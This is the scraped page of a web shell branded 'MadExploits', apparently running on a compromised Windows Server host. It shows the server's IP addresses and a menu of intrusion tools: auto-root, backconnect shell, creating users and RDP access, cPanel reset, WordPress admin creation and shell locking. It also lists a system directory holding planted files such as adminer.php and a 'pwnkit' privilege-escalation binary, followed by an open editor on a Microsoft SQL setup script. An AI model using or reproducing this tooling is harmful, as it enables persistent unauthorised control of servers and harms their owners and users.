Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.139
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
Windows /
Microsoft.NET /
Framework64 /
v4.0.30319 /
[ HOME SHELL ]
Name
Size
Permission
Action
1033
[ DIR ]
drwxrwxrwx
ASP.NETWebAdminFiles
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
MSBuild
[ DIR ]
drwxrwxrwx
MUI
[ DIR ]
drwxrwxrwx
NativeImages
[ DIR ]
drwxrwxrwx
SQL
[ DIR ]
drwxrwxrwx
WPF
[ DIR ]
drwxrwxrwx
en-US
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
Accessibility.dll
34.91
KB
-rw-rw-rw-
AddInProcess.exe
41.08
KB
-rwxrwxrwx
AddInProcess.exe.config
161
B
-rw-rw-rw-
AddInProcess32.exe
41.07
KB
-rwxrwxrwx
AddInProcess32.exe.config
161
B
-rw-rw-rw-
AddInUtil.exe
41.56
KB
-rwxrwxrwx
AddInUtil.exe.config
161
B
-rw-rw-rw-
AdoNetDiag.dll
212.25
KB
-rw-rw-rw-
AppLaunch.exe
121.16
KB
-rwxrwxrwx
Aspnet.config
437
B
-rw-rw-rw-
Aspnet_perf.dll
42.02
KB
-rw-rw-rw-
CLR-ETW.man
315.83
KB
-rw-rw-rw-
CORPerfMonExt.dll
155.05
KB
-rw-rw-rw-
CasPol.exe
104.69
KB
-rwxrwxrwx
ComSvcConfig.exe
169.57
KB
-rwxrwxrwx
Culture.dll
60.55
KB
-rw-rw-rw-
CustomMarshalers.dll
107.05
KB
-rw-rw-rw-
DataSvcUtil.exe
70.07
KB
-rwxrwxrwx
DataSvcUtil.exe.config
156
B
-rw-rw-rw-
EdmGen.exe
94.55
KB
-rwxrwxrwx
EventLogMessages.dll
786.25
KB
-rw-rw-rw-
FXUpdate.dat
0
B
-rw-rw-rw-
FileTracker.dll
292.05
KB
-rw-rw-rw-
ISymWrapper.dll
74.05
KB
-rw-rw-rw-
InstallCommon.sql
24.03
KB
-rw-rw-rw-
InstallMembership.sql
54.93
KB
-rw-rw-rw-
InstallPersistSqlState.sql
53.37
KB
-rw-rw-rw-
InstallPersonalization.sql
34.13
KB
-rw-rw-rw-
InstallProfile.SQL
20.4
KB
-rw-rw-rw-
InstallRoles.sql
33.46
KB
-rw-rw-rw-
InstallSqlState.sql
53.15
KB
-rw-rw-rw-
InstallSqlStateTemplate.sql
54.92
KB
-rw-rw-rw-
InstallUtil.exe
39.65
KB
-rwxrwxrwx
InstallUtil.exe.config
182
B
-rw-rw-rw-
InstallUtilLib.dll
130.55
KB
-rw-rw-rw-
InstallWebEventSqlProvider.sql
6.31
KB
-rw-rw-rw-
MSBuild.exe
251.55
KB
-rwxrwxrwx
MSBuild.rsp
732
B
-rw-rw-rw-
Microsoft.Activities.Build.dll
52.55
KB
-rw-rw-rw-
Microsoft.Build.Conversion.v4....
83.05
KB
-rw-rw-rw-
Microsoft.Build.Engine.dll
643.55
KB
-rw-rw-rw-
Microsoft.Build.Framework.dll
97.55
KB
-rw-rw-rw-
Microsoft.Build.Tasks.v4.0.dll
1.13
MB
-rw-rw-rw-
Microsoft.Build.Utilities.v4.0...
263.05
KB
-rw-rw-rw-
Microsoft.Build.dll
1.35
MB
-rw-rw-rw-
Microsoft.Build.xsd
2.3
KB
-rw-rw-rw-
Microsoft.CSharp.dll
474.91
KB
-rw-rw-rw-
Microsoft.CSharp.targets
23.06
KB
-rw-rw-rw-
Microsoft.Common.OverrideTasks
6.15
KB
-rw-rw-rw-
Microsoft.Common.Tasks
14.55
KB
-rw-rw-rw-
Microsoft.Common.targets
256.39
KB
-rw-rw-rw-
Microsoft.Data.Entity.Build.Ta...
51.55
KB
-rw-rw-rw-
Microsoft.Data.Entity.targets
6.35
KB
-rw-rw-rw-
Microsoft.Internal.Tasks.Dataf...
180.55
KB
-rw-rw-rw-
Microsoft.JScript.dll
735.55
KB
-rw-rw-rw-
Microsoft.JScript.tlb
57
KB
-rw-rw-rw-
Microsoft.NETFramework.props
11.68
KB
-rw-rw-rw-
Microsoft.NETFramework.targets
7.99
KB
-rw-rw-rw-
Microsoft.ServiceModel.targets
9.55
KB
-rw-rw-rw-
Microsoft.Transactions.Bridge....
131.05
KB
-rw-rw-rw-
Microsoft.Transactions.Bridge....
386.41
KB
-rw-rw-rw-
Microsoft.VisualBasic.Activiti...
3.77
MB
-rw-rw-rw-
Microsoft.VisualBasic.Compatib...
114.05
KB
-rw-rw-rw-
Microsoft.VisualBasic.Compatib...
486.05
KB
-rw-rw-rw-
Microsoft.VisualBasic.dll
624.41
KB
-rw-rw-rw-
Microsoft.VisualBasic.targets
22.37
KB
-rw-rw-rw-
Microsoft.VisualC.Dll
29.7
KB
-rw-rw-rw-
Microsoft.VisualC.STLCLR.dll
49.73
KB
-rw-rw-rw-
Microsoft.Win32.Primitives.dll
27.91
KB
-rw-rw-rw-
Microsoft.WinFx.targets
41.35
KB
-rw-rw-rw-
Microsoft.Windows.ApplicationS...
707.36
KB
-rw-rw-rw-
Microsoft.Windows.ApplicationS...
136.91
KB
-rw-rw-rw-
Microsoft.Workflow.Compiler.ex...
32.13
KB
-rwxrwxrwx
Microsoft.Workflow.Compiler.ex...
144
B
-rw-rw-rw-
Microsoft.WorkflowBuildExtensi...
7.36
KB
-rw-rw-rw-
Microsoft.Xaml.targets
19.43
KB
-rw-rw-rw-
MmcAspExt.dll
113.55
KB
-rw-rw-rw-
PerfCounter.dll
260.55
KB
-rw-rw-rw-
RegAsm.exe
62.69
KB
-rwxrwxrwx
RegSvcs.exe
43.69
KB
-rwxrwxrwx
SMDiagnostics.dll
66.85
KB
-rw-rw-rw-
SMSvcHost.exe
135.8
KB
-rwxrwxrwx
SMSvcHost.exe.config
2.21
KB
-rw-rw-rw-
SOS.dll
901.42
KB
-rw-rw-rw-
SbsNclPerf.dll
23.55
KB
-rw-rw-rw-
ServiceModelEvents.dll
18.05
KB
-rw-rw-rw-
ServiceModelInstallRC.dll
18.05
KB
-rw-rw-rw-
ServiceModelPerformanceCounter...
101.75
KB
-rw-rw-rw-
ServiceModelPerformanceCounter...
126.02
KB
-rw-rw-rw-
ServiceModelReg.exe
297.15
KB
-rwxrwxrwx
ServiceModelRegUI.dll
18.04
KB
-rw-rw-rw-
ServiceMonikerSupport.dll
27.91
KB
-rw-rw-rw-
System.Activities.Core.Present...
698.05
KB
-rw-rw-rw-
System.Activities.DurableInsta...
138.61
KB
-rw-rw-rw-
System.Activities.Presentation...
2.02
MB
-rw-rw-rw-
System.Activities.dll
1.46
MB
-rw-rw-rw-
System.AddIn.Contract.dll
51.05
KB
-rw-rw-rw-
System.AddIn.dll
159.05
KB
-rw-rw-rw-
System.AppContext.dll
27.91
KB
-rw-rw-rw-
System.Collections.Concurrent....
28.62
KB
-rw-rw-rw-
System.Collections.NonGeneric....
28.41
KB
-rw-rw-rw-
System.Collections.Specialized...
28.41
KB
-rw-rw-rw-
System.Collections.dll
28.91
KB
-rw-rw-rw-
System.ComponentModel.Annotati...
29.41
KB
-rw-rw-rw-
System.ComponentModel.Composit...
297.41
KB
-rw-rw-rw-
System.ComponentModel.DataAnno...
123.91
KB
-rw-rw-rw-
System.ComponentModel.EventBas...
28.41
KB
-rw-rw-rw-
System.ComponentModel.Primitiv...
28.91
KB
-rw-rw-rw-
System.ComponentModel.TypeConv...
29.91
KB
-rw-rw-rw-
System.ComponentModel.dll
28.41
KB
-rw-rw-rw-
System.Configuration.Install.d...
100.41
KB
-rw-rw-rw-
System.Configuration.dll
411.66
KB
-rw-rw-rw-
System.Console.dll
28.41
KB
-rw-rw-rw-
System.Core.dll
1.48
MB
-rw-rw-rw-
System.Data.Common.dll
28.91
KB
-rw-rw-rw-
System.Data.DataSetExtensions....
69.91
KB
-rw-rw-rw-
System.Data.Entity.Design.dll
1.03
MB
-rw-rw-rw-
System.Data.Entity.dll
3.85
MB
-rw-rw-rw-
System.Data.Linq.dll
672.55
KB
-rw-rw-rw-
System.Data.OracleClient.dll
501.05
KB
-rw-rw-rw-
System.Data.Services.Client.dl...
434.05
KB
-rw-rw-rw-
System.Data.Services.Design.dl...
170.55
KB
-rw-rw-rw-
System.Data.Services.dll
657.05
KB
-rw-rw-rw-
System.Data.SqlXml.dll
716.41
KB
-rw-rw-rw-
System.Data.dll
3.38
MB
-rw-rw-rw-
System.Deployment.dll
1.52
MB
-rw-rw-rw-
System.Design.dll
4.8
MB
-rw-rw-rw-
System.Device.dll
62.55
KB
-rw-rw-rw-
System.Diagnostics.Contracts.d...
28.91
KB
-rw-rw-rw-
System.Diagnostics.Debug.dll
28.41
KB
-rw-rw-rw-
System.Diagnostics.FileVersion...
27.91
KB
-rw-rw-rw-
System.Diagnostics.Process.dll
28.41
KB
-rw-rw-rw-
System.Diagnostics.StackTrace....
28.41
KB
-rw-rw-rw-
System.Diagnostics.TextWriterT...
28.41
KB
-rw-rw-rw-
System.Diagnostics.Tools.dll
28.41
KB
-rw-rw-rw-
System.Diagnostics.TraceSource...
28.4
KB
-rw-rw-rw-
System.Diagnostics.Tracing.dll
38.91
KB
-rw-rw-rw-
System.DirectoryServices.Accou...
289.55
KB
-rw-rw-rw-
System.DirectoryServices.Proto...
196.41
KB
-rw-rw-rw-
System.DirectoryServices.dll
408.31
KB
-rw-rw-rw-
System.Drawing.Design.dll
122.26
KB
-rw-rw-rw-
System.Drawing.Primitives.dll
28.41
KB
-rw-rw-rw-
System.Drawing.dll
581.77
KB
-rw-rw-rw-
System.Drawing.tlb
8.5
KB
-rw-rw-rw-
System.Dynamic.Runtime.dll
28.91
KB
-rw-rw-rw-
System.Dynamic.dll
127.41
KB
-rw-rw-rw-
System.EnterpriseServices.Thun...
106.05
KB
-rw-rw-rw-
System.EnterpriseServices.Wrap...
127.5
KB
-rw-rw-rw-
System.EnterpriseServices.dll
235.75
KB
-rw-rw-rw-
System.EnterpriseServices.tlb
33.5
KB
-rw-rw-rw-
System.Globalization.Calendars...
28.41
KB
-rw-rw-rw-
System.Globalization.Extension...
28.41
KB
-rw-rw-rw-
System.Globalization.dll
28.4
KB
-rw-rw-rw-
System.IO.Compression.FileSyst...
32.55
KB
-rw-rw-rw-
System.IO.Compression.ZipFile....
27.91
KB
-rw-rw-rw-
System.IO.Compression.dll
69.91
KB
-rw-rw-rw-
System.IO.FileSystem.DriveInfo...
27.91
KB
-rw-rw-rw-
System.IO.FileSystem.Primitive...
28.41
KB
-rw-rw-rw-
System.IO.FileSystem.Watcher.d...
28.41
KB
-rw-rw-rw-
System.IO.FileSystem.dll
28.41
KB
-rw-rw-rw-
System.IO.IsolatedStorage.dll
27.91
KB
-rw-rw-rw-
System.IO.Log.dll
130.55
KB
-rw-rw-rw-
System.IO.MemoryMappedFiles.dl...
28.41
KB
-rw-rw-rw-
System.IO.Pipes.dll
28.41
KB
-rw-rw-rw-
System.IO.UnmanagedMemoryStrea...
27.91
KB
-rw-rw-rw-
System.IO.dll
28.41
KB
-rw-rw-rw-
System.IdentityModel.Selectors...
140.91
KB
-rw-rw-rw-
System.IdentityModel.Services....
187.91
KB
-rw-rw-rw-
System.IdentityModel.dll
1.04
MB
-rw-rw-rw-
System.Linq.Expressions.dll
29.41
KB
-rw-rw-rw-
System.Linq.Parallel.dll
28.41
KB
-rw-rw-rw-
System.Linq.Queryable.dll
28.41
KB
-rw-rw-rw-
System.Linq.dll
27.91
KB
-rw-rw-rw-
System.Management.Instrumentat...
142.05
KB
-rw-rw-rw-
System.Management.dll
399.27
KB
-rw-rw-rw-
System.Messaging.dll
270.91
KB
-rw-rw-rw-
System.Net.Http.Rtc.dll
28.41
KB
-rw-rw-rw-
System.Net.Http.WebRequest.dll
49.41
KB
-rw-rw-rw-
System.Net.Http.dll
199.41
KB
-rw-rw-rw-
System.Net.NameResolution.dll
27.91
KB
-rw-rw-rw-
System.Net.NetworkInformation....
29.41
KB
-rw-rw-rw-
System.Net.Ping.dll
28.41
KB
-rw-rw-rw-
System.Net.Primitives.dll
28.91
KB
-rw-rw-rw-
System.Net.Requests.dll
28.41
KB
-rw-rw-rw-
System.Net.Security.dll
28.41
KB
-rw-rw-rw-
System.Net.Sockets.dll
29.65
KB
-rw-rw-rw-
System.Net.WebHeaderCollection...
28.41
KB
-rw-rw-rw-
System.Net.WebSockets.Client.d...
28.41
KB
-rw-rw-rw-
System.Net.WebSockets.dll
28.41
KB
-rw-rw-rw-
System.Net.dll
250.91
KB
-rw-rw-rw-
System.Numerics.Vectors.dll
30.41
KB
-rw-rw-rw-
System.Numerics.dll
135.41
KB
-rw-rw-rw-
System.ObjectModel.dll
28.91
KB
-rw-rw-rw-
System.Reflection.Emit.ILGener...
28.41
KB
-rw-rw-rw-
System.Reflection.Emit.Lightwe...
28.41
KB
-rw-rw-rw-
System.Reflection.Emit.dll
28.41
KB
-rw-rw-rw-
System.Reflection.Extensions.d...
27.91
KB
-rw-rw-rw-
System.Reflection.Primitives.d...
28.41
KB
-rw-rw-rw-
System.Reflection.context.dll
105.41
KB
-rw-rw-rw-
System.Reflection.dll
28.91
KB
-rw-rw-rw-
System.Resources.Reader.dll
27.91
KB
-rw-rw-rw-
System.Resources.ResourceManag...
28.41
KB
-rw-rw-rw-
System.Resources.Writer.dll
27.91
KB
-rw-rw-rw-
System.Runtime.Caching.dll
107.05
KB
-rw-rw-rw-
System.Runtime.CompilerService...
28.41
KB
-rw-rw-rw-
System.Runtime.DurableInstanci...
168.41
KB
-rw-rw-rw-
System.Runtime.Extensions.dll
28.41
KB
-rw-rw-rw-
System.Runtime.Handles.dll
28.41
KB
-rw-rw-rw-
System.Runtime.InteropServices...
28.41
KB
-rw-rw-rw-
System.Runtime.InteropServices...
28.41
KB
-rw-rw-rw-
System.Runtime.InteropServices...
31.41
KB
-rw-rw-rw-
System.Runtime.Numerics.dll
27.91
KB
-rw-rw-rw-
System.Runtime.Remoting.dll
338.91
KB
-rw-rw-rw-
System.Runtime.Serialization.F...
137.91
KB
-rw-rw-rw-
System.Runtime.Serialization.F...
28.41
KB
-rw-rw-rw-
System.Runtime.Serialization.J...
28.41
KB
-rw-rw-rw-
System.Runtime.Serialization.P...
28.41
KB
-rw-rw-rw-
System.Runtime.Serialization.X...
28.91
KB
-rw-rw-rw-
System.Runtime.Serialization.d...
1
MB
-rw-rw-rw-
System.Runtime.WindowsRuntime....
70.41
KB
-rw-rw-rw-
System.Runtime.WindowsRuntime....
156.41
KB
-rw-rw-rw-
System.Runtime.dll
36.41
KB
-rw-rw-rw-
System.Security.Claims.dll
28.85
KB
-rw-rw-rw-
System.Security.Cryptography.A...
28.91
KB
-rw-rw-rw-
System.Security.Cryptography.C...
28.41
KB
-rw-rw-rw-
System.Security.Cryptography.E...
28.41
KB
-rw-rw-rw-
System.Security.Cryptography.P...
28.41
KB
-rw-rw-rw-
System.Security.Cryptography.X...
29.41
KB
-rw-rw-rw-
System.Security.Principal.dll
27.91
KB
-rw-rw-rw-
System.Security.SecureString.d...
27.91
KB
-rw-rw-rw-
System.Security.dll
312.77
KB
-rw-rw-rw-
System.ServiceModel.Activation...
197.55
KB
-rw-rw-rw-
System.ServiceModel.Activities...
542.37
KB
-rw-rw-rw-
System.ServiceModel.Channels.d...
148.42
KB
-rw-rw-rw-
System.ServiceModel.Discovery....
295.39
KB
-rw-rw-rw-
System.ServiceModel.Duplex.dll
28.41
KB
-rw-rw-rw-
System.ServiceModel.Http.dll
28.41
KB
-rw-rw-rw-
System.ServiceModel.Internals....
242.85
KB
-rw-rw-rw-
System.ServiceModel.NetTcp.dll
28.41
KB
-rw-rw-rw-
System.ServiceModel.Primitives...
32.91
KB
-rw-rw-rw-
System.ServiceModel.Routing.dl...
127.55
KB
-rw-rw-rw-
System.ServiceModel.Security.d...
28.91
KB
-rw-rw-rw-
System.ServiceModel.ServiceMon...
22.55
KB
-rw-rw-rw-
System.ServiceModel.WasHosting...
33.39
KB
-rw-rw-rw-
System.ServiceModel.Web.dll
314.25
KB
-rw-rw-rw-
System.ServiceModel.dll
6.09
MB
-rw-rw-rw-
System.ServiceProcess.dll
135.41
KB
-rw-rw-rw-
System.Text.Encoding.Extension...
28.41
KB
-rw-rw-rw-
System.Text.Encoding.dll
28.41
KB
-rw-rw-rw-
System.Text.RegularExpressions...
28.41
KB
-rw-rw-rw-
System.Threading.Overlapped.dl...
28.41
KB
-rw-rw-rw-
System.Threading.Tasks.Paralle...
28.41
KB
-rw-rw-rw-
System.Threading.Tasks.dll
29.41
KB
-rw-rw-rw-
System.Threading.Thread.dll
28.41
KB
-rw-rw-rw-
System.Threading.ThreadPool.dl...
28.41
KB
-rw-rw-rw-
System.Threading.Timer.dll
27.91
KB
-rw-rw-rw-
System.Threading.dll
28.91
KB
-rw-rw-rw-
System.Transactions.dll
307.05
KB
-rw-rw-rw-
System.ValueTuple.dll
28.41
KB
-rw-rw-rw-
System.Web.Abstractions.dll
22.05
KB
-rw-rw-rw-
System.Web.ApplicationServices...
64.57
KB
-rw-rw-rw-
System.Web.DataVisualization.D...
103.05
KB
-rw-rw-rw-
System.Web.DataVisualization.d...
1.62
MB
-rw-rw-rw-
System.Web.DynamicData.Design....
43.55
KB
-rw-rw-rw-
System.Web.DynamicData.dll
242.05
KB
-rw-rw-rw-
System.Web.Entity.Design.dll
172.55
KB
-rw-rw-rw-
System.Web.Entity.dll
161.55
KB
-rw-rw-rw-
System.Web.Extensions.Design.d...
348.05
KB
-rw-rw-rw-
System.Web.Extensions.dll
1.76
MB
-rw-rw-rw-
System.Web.Mobile.dll
811.05
KB
-rw-rw-rw-
System.Web.RegularExpressions....
103.55
KB
-rw-rw-rw-
System.Web.Routing.dll
22.26
KB
-rw-rw-rw-
System.Web.Services.dll
826.91
KB
-rw-rw-rw-
System.Web.dll
5.15
MB
-rw-rw-rw-
System.Web.tlb
7
KB
-rw-rw-rw-
System.Windows.Forms.DataVisua...
80.25
KB
-rw-rw-rw-
System.Windows.Forms.DataVisua...
1.63
MB
-rw-rw-rw-
System.Windows.Forms.dll
5.65
MB
-rw-rw-rw-
System.Windows.Forms.tlb
85
KB
-rw-rw-rw-
System.Windows.dll
30.41
KB
-rw-rw-rw-
System.Workflow.Activities.dll
1
MB
-rw-rw-rw-
System.Workflow.ComponentModel...
1.49
MB
-rw-rw-rw-
System.Workflow.Runtime.dll
491.27
KB
-rw-rw-rw-
System.WorkflowServices.dll
440.55
KB
-rw-rw-rw-
System.XML.dll
2.52
MB
-rw-rw-rw-
System.Xaml.Hosting.dll
42.05
KB
-rw-rw-rw-
System.Xaml.dll
619.35
KB
-rw-rw-rw-
System.Xml.Linq.dll
159.41
KB
-rw-rw-rw-
System.Xml.ReaderWriter.dll
28.91
KB
-rw-rw-rw-
System.Xml.Serialization.dll
44.41
KB
-rw-rw-rw-
System.Xml.XDocument.dll
28.41
KB
-rw-rw-rw-
System.Xml.XPath.XDocument.dll
27.91
KB
-rw-rw-rw-
System.Xml.XPath.dll
28.41
KB
-rw-rw-rw-
System.Xml.XmlDocument.dll
28.91
KB
-rw-rw-rw-
System.Xml.XmlSerializer.dll
28.91
KB
-rw-rw-rw-
System.dll
3.39
MB
-rw-rw-rw-
System.tlb
70.5
KB
-rw-rw-rw-
TLBREF.DLL
130.55
KB
-rw-rw-rw-
ThirdPartyNotices.txt
60.27
KB
-rw-rw-rw-
UnInstallProfile.SQL
4.65
KB
-rw-rw-rw-
UninstallCommon.sql
3.8
KB
-rw-rw-rw-
UninstallMembership.sql
6.75
KB
-rw-rw-rw-
UninstallPersistSqlState.sql
9.96
KB
-rw-rw-rw-
UninstallPersonalization.sql
7.31
KB
-rw-rw-rw-
UninstallRoles.sql
5.73
KB
-rw-rw-rw-
UninstallSqlState.sql
9.46
KB
-rw-rw-rw-
UninstallSqlStateTemplate.sql
11.52
KB
-rw-rw-rw-
UninstallWebEventSqlProvider.s...
2.94
KB
-rw-rw-rw-
WMINet_Utils.dll
190.55
KB
-rw-rw-rw-
Workflow.Targets
6.96
KB
-rw-rw-rw-
Workflow.VisualBasic.Targets
8.39
KB
-rw-rw-rw-
WorkflowServiceHostPerformance...
100.27
KB
-rw-rw-rw-
WorkflowServiceHostPerformance...
42.27
KB
-rw-rw-rw-
WsatConfig.exe
149.1
KB
-rwxrwxrwx
XPThemes.manifest
474
B
-rw-rw-rw-
XamlBuildTask.dll
129.05
KB
-rw-rw-rw-
XsdBuildTask.dll
66.05
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
adonetdiag.mof
7.35
KB
-rw-rw-rw-
adonetdiag.mof.uninstall
1.95
KB
-rw-rw-rw-
alink.dll
159.25
KB
-rw-rw-rw-
applaunch.exe.config
281
B
-rw-rw-rw-
aspnet_compiler.exe
53.59
KB
-rwxrwxrwx
aspnet_filter.dll
43.05
KB
-rw-rw-rw-
aspnet_isapi.dll
27.55
KB
-rw-rw-rw-
aspnet_perf.h
7.01
KB
-rw-rw-rw-
aspnet_perf.ini
974.12
KB
-rw-rw-rw-
aspnet_perf2.ini
972.21
KB
-rw-rw-rw-
aspnet_rc.dll
88.55
KB
-rw-rw-rw-
aspnet_regbrowsers.exe
43.6
KB
-rwxrwxrwx
aspnet_regiis.exe
46.58
KB
-rwxrwxrwx
aspnet_regsql.exe
123.58
KB
-rwxrwxrwx
aspnet_state.exe
53.63
KB
-rwxrwxrwx
aspnet_state_perf.h
318
B
-rw-rw-rw-
aspnet_state_perf.ini
41.99
KB
-rw-rw-rw-
aspnet_wp.exe
45.45
KB
-rwxrwxrwx
caspol.exe.config
368
B
-rw-rw-rw-
clr.dll
11.17
MB
-rw-rw-rw-
clrcompression.dll
140.25
KB
-rw-rw-rw-
clretwrc.dll
232.55
KB
-rw-rw-rw-
clrjit.dll
1.3
MB
-rw-rw-rw-
compatjit.dll
1.22
MB
-rw-rw-rw-
csc.exe
2.63
MB
-rwxrwxrwx
csc.exe.config
182
B
-rw-rw-rw-
csc.rsp
1.3
KB
-rw-rw-rw-
cvtres.exe
51.51
KB
-rwxrwxrwx
cvtres.exe.config
281
B
-rw-rw-rw-
default.win32manifest
490
B
-rw-rw-rw-
dfdll.dll
210.88
KB
-rw-rw-rw-
dfsvc.exe
23.55
KB
-rwxrwxrwx
dfsvc.exe.config
893
B
-rw-rw-rw-
diasymreader.dll
1.43
MB
-rw-rw-rw-
dv_aspnetmmc.chm
112.43
KB
-rw-rw-rw-
fusion.dll
106.25
KB
-rw-rw-rw-
ilasm.exe
373.66
KB
-rwxrwxrwx
ilasm.exe.config
223
B
-rw-rw-rw-
jsc.exe
45.54
KB
-rwxrwxrwx
jsc.exe.config
281
B
-rw-rw-rw-
locale.nlp
409.8
KB
-rw-rw-rw-
msbuild.exe.config
1.69
KB
-rw-rw-rw-
mscordacwks.dll
1.72
MB
-rw-rw-rw-
mscordbi.dll
1.58
MB
-rw-rw-rw-
mscoree.tlb
31
KB
-rw-rw-rw-
mscoreei.dll
673.78
KB
-rw-rw-rw-
mscoreeis.dll
32.55
KB
-rw-rw-rw-
mscorlib.dll
5.24
MB
-rw-rw-rw-
mscorlib.tlb
505.53
KB
-rw-rw-rw-
mscorpe.dll
100.55
KB
-rw-rw-rw-
mscorpehost.dll
189.05
KB
-rw-rw-rw-
mscorrc.dll
388.55
KB
-rw-rw-rw-
mscorsecimpl.dll
130.55
KB
-rw-rw-rw-
mscorsn.dll
28.05
KB
-rw-rw-rw-
mscorsvc.dll
544.88
KB
-rw-rw-rw-
mscorsvw.exe
148.42
KB
-rwxrwxrwx
netstandard.dll
103.91
KB
-rw-rw-rw-
ngen.exe
170.46
KB
-rwxrwxrwx
ngen.log
941.91
KB
-rw-rw-rw-
ngentask.exe
77.45
KB
-rwxrwxrwx
ngentasklauncher.dll
28.55
KB
-rw-rw-rw-
normidna.nlp
57.95
KB
-rw-rw-rw-
normnfc.nlp
45.97
KB
-rw-rw-rw-
normnfd.nlp
39.62
KB
-rw-rw-rw-
normnfkc.nlp
66.22
KB
-rw-rw-rw-
normnfkd.nlp
60.27
KB
-rw-rw-rw-
peverify.dll
260.44
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
regasm.exe.config
281
B
-rw-rw-rw-
regsvcs.exe.config
223
B
-rw-rw-rw-
sysglobl.dll
128.91
KB
-rw-rw-rw-
system.componentmodel.composit...
61.41
KB
-rw-rw-rw-
vbc.exe
3.08
MB
-rwxrwxrwx
vbc.exe.config
182
B
-rw-rw-rw-
vbc.rsp
1.43
KB
-rw-rw-rw-
webengine.dll
22.03
KB
-rw-rw-rw-
webengine4.dll
660.43
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : InstallRoles.sql
/**********************************************************************/ /* InstallRoles.SQL */ /* */ /* Installs the tables, triggers and stored procedures necessary for */ /* supporting the aspnet feature of ASP.Net */ /* */ /* InstallCommon.sql must be run before running this file. */ /* ** Copyright Microsoft, Inc. 2002 ** All Rights Reserved. */ /**********************************************************************/ PRINT '--------------------------------------' PRINT 'Starting execution of InstallRoles.SQL' PRINT '--------------------------------------' GO SET QUOTED_IDENTIFIER OFF -- We don't use quoted identifiers SET ANSI_NULLS ON -- We don't want (NULL = NULL) == TRUE GO SET ANSI_PADDING ON GO SET ANSI_NULL_DFLT_ON ON GO /*************************************************************/ /*************************************************************/ /*************************************************************/ /*************************************************************/ /*************************************************************/ DECLARE @dbname nvarchar(128) SET @dbname = N'aspnetdb' IF (NOT EXISTS (SELECT name FROM master.dbo.sysdatabases WHERE ('[' + name + ']' = @dbname OR name = @dbname))) BEGIN RAISERROR('The database ''%s'' cannot be found. Please run InstallCommon.sql first.', 18, 1, @dbname) END GO USE [aspnetdb] GO IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Applications') AND (type = 'U'))) BEGIN RAISERROR('The table ''aspnet_Applications'' cannot be found. Please use aspnet_regsql.exe for installing ASP.NET application services.', 18, 1) END IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Users') AND (type = 'U'))) BEGIN RAISERROR('The table ''aspnet_Users'' cannot be found. Please use aspnet_regsql.exe for installing ASP.NET application services.', 18, 1) END IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Applications_CreateApplication') AND (type = 'P'))) BEGIN RAISERROR('The stored procedure ''aspnet_Applications_CreateApplication'' cannot be found. Please use aspnet_regsql.exe for installing ASP.NET application services.', 18, 1) END IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Users_CreateUser') AND (type = 'P'))) BEGIN RAISERROR('The stored procedure ''aspnet_Users_CreateUser'' cannot be found. Please use aspnet_regsql.exe for installing ASP.NET application services.', 18, 1) END IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Users_DeleteUser') AND (type = 'P'))) BEGIN RAISERROR('The stored procedure ''aspnet_Users_DeleteUser'' cannot be found. Please use aspnet_regsql.exe for installing ASP.NET application services.', 18, 1) END /*************************************************************/ /*************************************************************/ IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Roles') AND (type = 'U'))) BEGIN PRINT 'Creating the aspnet_Roles table...' CREATE TABLE dbo.aspnet_Roles ( ApplicationId uniqueidentifier NOT NULL FOREIGN KEY REFERENCES dbo.aspnet_Applications(ApplicationId), RoleId uniqueidentifier PRIMARY KEY NONCLUSTERED DEFAULT NEWID(), RoleName nvarchar(256) NOT NULL, LoweredRoleName nvarchar(256) NOT NULL, Description nvarchar(256) ) CREATE UNIQUE CLUSTERED INDEX aspnet_Roles_index1 ON dbo.aspnet_Roles(ApplicationId, LoweredRoleName) END GO /*************************************************************/ /*************************************************************/ IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles') AND (type = 'U'))) BEGIN PRINT 'Creating the aspnet_UsersInRoles table...' CREATE TABLE dbo.aspnet_UsersInRoles ( UserId uniqueidentifier NOT NULL PRIMARY KEY(UserId, RoleId) FOREIGN KEY REFERENCES dbo.aspnet_Users (UserId), RoleId uniqueidentifier NOT NULL FOREIGN KEY REFERENCES dbo.aspnet_Roles (RoleId)) CREATE INDEX aspnet_UsersInRoles_index ON dbo.aspnet_UsersInRoles(RoleId) END /*************************************************************/ /*************************************************************/ /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles_IsUserInRole') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_UsersInRoles_IsUserInRole GO CREATE PROCEDURE dbo.aspnet_UsersInRoles_IsUserInRole @ApplicationName nvarchar(256), @UserName nvarchar(256), @RoleName nvarchar(256) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@ApplicationId IS NULL) RETURN(2) DECLARE @UserId uniqueidentifier SELECT @UserId = NULL DECLARE @RoleId uniqueidentifier SELECT @RoleId = NULL SELECT @UserId = UserId FROM dbo.aspnet_Users WHERE LoweredUserName = LOWER(@UserName) AND ApplicationId = @ApplicationId IF (@UserId IS NULL) RETURN(2) SELECT @RoleId = RoleId FROM dbo.aspnet_Roles WHERE 